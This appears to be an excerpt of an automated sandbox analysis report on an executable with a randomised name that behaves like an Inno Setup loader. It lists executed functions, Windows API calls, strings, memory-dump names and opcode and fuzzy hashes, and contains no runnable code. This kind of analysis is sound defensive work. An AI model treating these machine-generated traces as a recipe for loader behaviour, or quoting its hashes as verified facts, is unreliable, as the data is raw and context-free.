API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 154379d1c5420fb8949bca2a3232bbf94181924a40fc586370f8f53582277720
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: 1AF06235105558EFC7019FA5DD0499F7BA8EF56350B2540AAE840E7311D634DE019FA9

Analysis Process: sTd4WXsFge4OZIqww_UHT8nz.exePID: 1272, Parent PID: 2724COMMON

Executed Functions

Function 00409B78 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00409B8A
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409B95
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409BD6
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409C08
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409C18

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: 69cc1b0b9b744b29044eea84e4744ba7a66f7205e02ae19cc0529fdcfa929845
Instruction ID: 4a1d84bb43d4a47cf168f169447d483ed62c711ee8ccb48f5bfbfd053dbeaed9
Opcode Fuzzy Hash: 69cc1b0b9b744b29044eea84e4744ba7a66f7205e02ae19cc0529fdcfa929845
Instruction Fuzzy Hash: D421A1B16043006BDA309AA99C85E57B7E8AF45360F144C2BFA99E72C3D239FC40C669

Function 0040520C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
Instruction ID: 1248db9972fbf410c55bf070b604c98f5d62b90992f8f49b6b6440a9954d2c50
Opcode Fuzzy Hash: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
Instruction Fuzzy Hash: E2E0927170021427D710A9A99C86AEB725CEB58310F0002BFB904E73C6EDB49E804AED

Function 0040457C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040A618), ref: 00404582
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040458F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004045A5
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004045BB
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,0040A618), ref: 004045C6

Strings

SetDllDirectoryW, xrefs: 00404589
kernel32.dll, xrefs: 0040457D
SetSearchPathMode, xrefs: 0040459F
SetProcessDEPPolicy, xrefs: 004045B5

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction ID: 1f393095ee8ecda9e1e01b6ca7d440447e938bbc9796bcd5dbe8d266940e5f64
Opcode Fuzzy Hash: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction Fuzzy Hash: 5FE02DD03813013AEA5032F20D83B2B20884AD0B49B2414377F25B61C3EDBDDA40587E

Function 0040AAB4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 0040AAC1

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B244,?,01FD1DF8), ref: 0040966C

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040AAFE
SetWindowLongA.USER32(00020438,000000FC,00409960), ref: 0040AB15
RemoveDirectoryA.KERNEL32(00000000,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC01
DestroyWindow.USER32(00020438,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC15

Strings

/SL5="$%x,%d,%d,, xrefs: 0040AB55
STATIC, xrefs: 0040AAF7
InnoSetupLdrWindow, xrefs: 0040AAF2

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Window$ErrorLast$CreateDestroyDirectoryLongRemove
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3757039580-3001827809
Opcode ID: 7bc9c0c8e9dfd2478b94306391eafe1fb51b7566d8199cdbb2b2653dcbc3d95c
Instruction ID: 81987b3bab642c92fe87a7372e0454594c4b8fe140ce311e0f93b1eeebf6ab37
Opcode Fuzzy Hash: 7bc9c0c8e9dfd2478b94306391eafe1fb51b7566d8199cdbb2b2653dcbc3d95c
Instruction Fuzzy Hash: 25412E70604204DBDB10EBA9EE89B9E37A5EB44304F10467FF510B72E2D7B89855CB9D

Function 004090A4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,0040A62C), ref: 004090C4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090CA
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,0040A62C), ref: 004090DE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090E4

Strings

Wow64RevertWow64FsRedirection, xrefs: 004090D4
shell32.dll, xrefs: 00409110
Wow64DisableWow64FsRedirection, xrefs: 004090BA
kernel32.dll, xrefs: 004090BF, 004090D9

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 0414f1d66f28dc470df4633e5994336701384173b3f6f66b470f3ad827f759f7
Instruction ID: 214dda5481ef482ebe311b1329301f35405b1013d97e3062c17ffb2c8286d57d
Opcode Fuzzy Hash: 0414f1d66f28dc470df4633e5994336701384173b3f6f66b470f3ad827f759f7
Instruction Fuzzy Hash: 21017C70748342AEFB00BB76DD4AB163A68E785704F60457BF640BA2D3DABD4C04D66E

Function 0040AAA2 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040AAFE
SetWindowLongA.USER32(00020438,000000FC,00409960), ref: 0040AB15

Part of subcall function 00406B7C: GetCommandLineA.KERNEL32(00000000,00406BC0,?,?,?,?,00000000,?,0040AB86,?), ref: 00406B94

Part of subcall function 004099EC: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,01FD1DF8,00409AD8,00000000,00409ABF), ref: 00409A5C
Part of subcall function 004099EC: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,01FD1DF8,00409AD8,00000000), ref: 00409A70
Part of subcall function 004099EC: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A89
Part of subcall function 004099EC: GetExitCodeProcess.KERNEL32(?,0040B244), ref: 00409A9B
Part of subcall function 004099EC: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,01FD1DF8,00409AD8), ref: 00409AA4

RemoveDirectoryA.KERNEL32(00000000,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC01
DestroyWindow.USER32(00020438,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC15

Strings

/SL5="$%x,%d,%d,, xrefs: 0040AB55
STATIC, xrefs: 0040AAF7
InnoSetupLdrWindow, xrefs: 0040AAF2

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Window$CloseCreateHandleProcess$CodeCommandDestroyDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3586484885-3001827809
Opcode ID: c367800830601d7b7bb1e4b9cc729c69669d466ec6c890b8506752b9ad64910a
Instruction ID: d3376fcde1141b4290a3dca450fc2844fa47922897975e075ebf06e3b6db64eb
Opcode Fuzzy Hash: c367800830601d7b7bb1e4b9cc729c69669d466ec6c890b8506752b9ad64910a
Instruction Fuzzy Hash: 77411A71604204DFD714EBA9EE85B5A37B5EB48304F20427BF500BB2E1D7B8A855CB9D

Function 004099EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,01FD1DF8,00409AD8,00000000,00409ABF), ref: 00409A5C
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,01FD1DF8,00409AD8,00000000), ref: 00409A70
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A89
GetExitCodeProcess.KERNEL32(?,0040B244), ref: 00409A9B
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,01FD1DF8,00409AD8), ref: 00409AA4

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B244,?,01FD1DF8), ref: 0040966C

Strings

D, xrefs: 00409A36

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: aadf6f075de5bdb3c28d757ddccd10dd30f6bbfdbbad62eb54c24073370c977f
Instruction ID: b58d0f6e2b8975977e6c7b71aada5392bea55c03070ce9fad3dcef5aa6d4018a
Opcode Fuzzy Hash: aadf6f075de5bdb3c28d757ddccd10dd30f6bbfdbbad62eb54c24073370c977f
Instruction Fuzzy Hash: EE1142B16402486EDB00EBE6CC42F9EB7ACEF49714F50013BB604F72C6DA785D048A69

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Function 0040A814 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 0040A878

Strings

y@, xrefs: 0040A981
.tmp, xrefs: 0040A8BE

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: 55a53fbd7ad7285035f8ab2cde1915fb146aa3dc543cd9b52406218d685c1c98
Instruction ID: 5e9257013af3d55ef2b6e359c41f87f67318ae2a4e6dbf07461b5d8c6de74657
Opcode Fuzzy Hash: 55a53fbd7ad7285035f8ab2cde1915fb146aa3dc543cd9b52406218d685c1c98
Instruction Fuzzy Hash: 3B41C030704200CFD311EF25DED1A1A77A5EB49304B214A3AF804B73E1CAB9AC11CBAD

Function 0040A82F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 0040A878

Strings

y@, xrefs: 0040A981
.tmp, xrefs: 0040A8BE

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: 4e131503fe38447772e4e2294cf5373b7e2007f9fac8d76d0a71823c743fc64d
Instruction ID: 95bba075cf9db07042691c1556ef0613dbe482a65a3614fff4d0ead14828e6f7
Opcode Fuzzy Hash: 4e131503fe38447772e4e2294cf5373b7e2007f9fac8d76d0a71823c743fc64d
Instruction Fuzzy Hash: E341BE30700200DFC711EF65DED2A1A77A5EB49304B104A3AF804B73E2CAB9AC01CBAD

Function 00409330 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409376
GetLastError.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040937F

Strings

.tmp, xrefs: 0040935F

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 1c7982c9535877cc809d76a2290e1ec991a7408e90ad789d49a53b04ffd62ed2
Instruction ID: b240cf9bc22f775501a2d99da134be40bb2f76fb21a7d6e050461713caae6e8b
Opcode Fuzzy Hash: 1c7982c9535877cc809d76a2290e1ec991a7408e90ad789d49a53b04ffd62ed2
Instruction Fuzzy Hash: 9E216774A00208ABDB05EFA1C8429DFB7B8EF88304F50457BE901B73C2DA3C9E058A65

Function 00407749 Relevance: 3.3, APIs: 2, Instructions: 284
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
Instruction ID: 20d0a63744b7af467993d3e8aec565234b7be2d060ba20bf9fd199bb98bd5a4e
Opcode Fuzzy Hash: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
Instruction Fuzzy Hash: 8251D12294D2910FC7126B7849685A53FE0FE5331132E92FBC5C1AB1A3D27CA847D35B

Function 00401FD4 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00402148), ref: 00402017

Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction ID: b272be6629c35a549fc4f1c5a19e6e0df2414f51bb24a7fd7fb800939d1160d0
Opcode Fuzzy Hash: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction Fuzzy Hash: D4419CB2A40711DFDB108F69DEC562A77A0FB58314B25837AD984B73E1D378A842CB48

Function 00406FA0 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406FAA
LoadLibraryA.KERNEL32(00000000,00000000,00406FF4,?,00000000,00407012,?,00008000), ref: 00406FD9

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction ID: 292e1fc4e19851716b0ab93d2d43454b233f1d25ff8a05a0d03104374ea2dcbc
Opcode Fuzzy Hash: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction Fuzzy Hash: D6F08270A14704BEDB129FB68C5282ABBECEB4DB0475349BAF914A26D2E53C5C209568

Function 0040766C Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040768B
GetLastError.KERNEL32(?,?,?,00000000), ref: 00407693

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,01FD03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction ID: 64daf3b7b2b4cd691f255a674f922558070816022eb0a012369b73df1192a31e
Opcode Fuzzy Hash: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction Fuzzy Hash: B2E092766081016FD600D55EC881B9B37DCDFC5364F104536B654EB2D1D679EC108776

Function 0040762C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407643
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407652

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction ID: e2f452503b48da12a69c10a9d1416f2aa512a4714c212e67fea7d8588799396e
Opcode Fuzzy Hash: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction Fuzzy Hash: 69E012A1A081106ADB24A66E9CC5F6B6BDCCBC5724F14457BF504DB382D678DC0487BB

Function 004075C4 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004075DB
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004075E7

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,01FD03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

